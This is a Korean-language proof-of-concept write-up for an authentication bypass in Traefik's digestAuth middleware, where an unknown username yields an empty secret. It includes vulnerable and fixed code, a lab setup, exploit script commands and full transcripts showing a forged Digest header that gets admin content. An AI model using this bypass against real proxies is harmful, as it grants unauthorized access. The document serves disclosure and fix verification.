
CVE-2026-85595 — Traefik digestAuth 인증 우회 (알 수 없는 사용자 이름 => 빈 HA1). 실험실 검증 완료: v3.7.10 우회, v3.7.11 401.
digestAuth가 알 수 없는 사용자를 인증함 (빈 시크릿)영향 받는 버전: Traefik < 2.11.55, 및 3.0.0 – 3.7.10
수정된 버전: 2.11.55 / 3.7.11
수정: containous/go-http-auth 커밋 b975dcaa8c48 "Reject DigestAuth when user secret is empty", 커밋 2116686308a2 (go.mod 범프)를 통해 Traefik에 벤더링됨
보안 공지: GHSA-4v96-rv7j-9wmr · CVSS 9.8 · CWE-287
Traefik의 digest 미들웨어는 자체 시크릿 조회를 통해 사용자의 HA1을 확인합니다
(pkg/middlewares/auth/digest_auth.go):
func (d *digestAuth) secretDigest(user, realm string) string {
if secret, ok := d.users[user+":"+realm]; ok {
return secret
}
return "" // unknown user -> empty secret, not a rejection
}
go-http-auth의 CheckAuth는 그런 다음 해당 ""를 HA1로 받아 계산합니다
(수정 전 digest.go:191-203):
HA1 := da.Secrets(auth["username"], da.Realm) // "" for an unknown user
HA2 := H(r.Method + ":" + auth["uri"])
KD := H(HA1 + ":" + auth["nonce"] + ":" + auth["nc"] + ":" + auth["cnonce"] + ":" + auth["qop"] + ":" + HA2)
PlainTextSecrets는 Traefik에서 false이므로(사용자 파일에 이미 HA1이 포함되어 있음) HA1은 빈 문자열로 유지됩니다. HA1을 제외한 KD의 모든 입력은 공격자가 제어하거나 401 챌린지(nonce, opaque)에 의해 제공되며, uri 검사는 요청 자체의 경로를 허용합니다. 따라서 응답은 비밀번호 없이, 그리고 사용자 파일에 존재하는 사용자 이름 없이도 계산할 수 있습니다.
수정은 라이브러리의 세 줄입니다:
HA1 := da.Secrets(auth["username"], da.Realm)
if HA1 == "" {
return "", nil
}
Traefik 자체는 코드 변경이 필요하지 않았고 의존성 범프만 필요했기 때문에 v3.7.11의 diff에는 digest_auth.go hunk가 포함되어 있지 않습니다.
| 역할 | 이미지 | 컨테이너 | 호스트 포트 |
|---|---|---|---|
| 취약한 프록시 | traefik:v3.7.10 | poc-traefik-vuln-3710 | 127.0.0.1:21010 → :8000 |
| 수정된 프록시 | traefik:v3.7.11 | poc-traefik-3711 | 127.0.0.1:21011 → :8000 |
digest에서 PathPrefix(/admin), 미들웨어 digestAuth
(realm=traefik-lab, usersFile=/etc/traefik/users.htdigest, removeHeader: true).admin:traefik-lab:6002799976b7f2610ec21f5961f9e2e5
(admin:traefik-lab:S3cretLabPass). PoC에서 사용하는 사용자 ghost는 이 파일에 없습니다.poc-traefik-app (python:3.12-alpine), /admin/*에 대해 ADMIN-AREA …를 제공합니다.lab/README.md.python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010 # vulnerable
python3 cve_2026_85595.py check --url http://127.0.0.1:21011 # fixed
--output FILE은 트랜스크립트를 기록하며, --path, --user는 대상 경로와 위조된 사용자 이름을 재정의합니다.
traefik:v3.7.10 — 우회$ python3 cve_2026_85595.py exploit --url http://127.0.0.1:21010
[*] target : http://127.0.0.1:21010
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : exploit
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", opaque="kWFhikjHjyGSF8Yq", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 33b1b9b9e57144f3c02045c22dbd2772
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="YHTw9aQqfnJCLD4C", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="33b1b9b9e57144f3c02045c22dbd2772", opaque="kWFhikjHjyGSF8Yq"
[*] forged request -> HTTP 200
body: ADMIN-AREA secret admin panel for /admin/secret
request_line: GET /admin/secret HTTP/1.1
resolved_path: /admin/secret
=> PASS (digestAuth bypassed with unknown user 'ghost' and an empty HA1; protected content served with HTTP 200)
프록시 자체의 액세스 로그에는 위조된 신원이 인증된 사용자로 기록됩니다
(ClientUsername은 클라이언트 IP 다음의 두 번째 필드입니다):
192.168.48.1 - - [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 401 17 "-" "-" 1 "digest-lab@file" "-" 0ms
192.168.48.1 - ghost [24/Oct/2026:13:22:20 +0000] "GET /admin/secret HTTP/1.1" 200 118 "-" "-" 3 "digest-lab@file" "http://app:8080" 6ms
$ curl -sS -o /dev/null -w '%{http_code}\n' http://127.0.0.1:21010/admin/secret
401
traefik:v3.7.11 고정 — 위조된 다이제스트 거부됨$ python3 cve_2026_85595.py check --url http://127.0.0.1:21011
[*] target : http://127.0.0.1:21011
[*] protected path : /admin/secret
[*] forged username : 'ghost' (not present in the users file)
[*] mode : check
[*] control (no credentials) -> HTTP 401
[*] challenge -> HTTP 401
Digest realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", opaque="NL8YFCUjlmHaxmZP", algorithm="MD5", qop="auth"
[*] HA1 (secret for 'ghost') -> ''
[*] forged response -> 00cbf0f515f4663a98a223027faece2f
[*] Authorization: Digest username="ghost", realm="traefik-lab", nonce="kcFdYslQKbKj6yxm", uri="/admin/secret", algorithm=MD5, qop=auth, nc=00000001, cnonce="0a4f113b", response="00cbf0f515f4663a98a223027faece2f", opaque="NL8YFCUjlmHaxmZP"
[*] forged request -> HTTP 401
body: 401 Unauthorized
=> PASS (fixed: forged digest for an unknown user rejected with HTTP 401)
nc)가 필요하지 않습니다.digestAuth로 보호된 모든 라우터와 2.11.x < 2.11.55에 대해서도 동작합니다.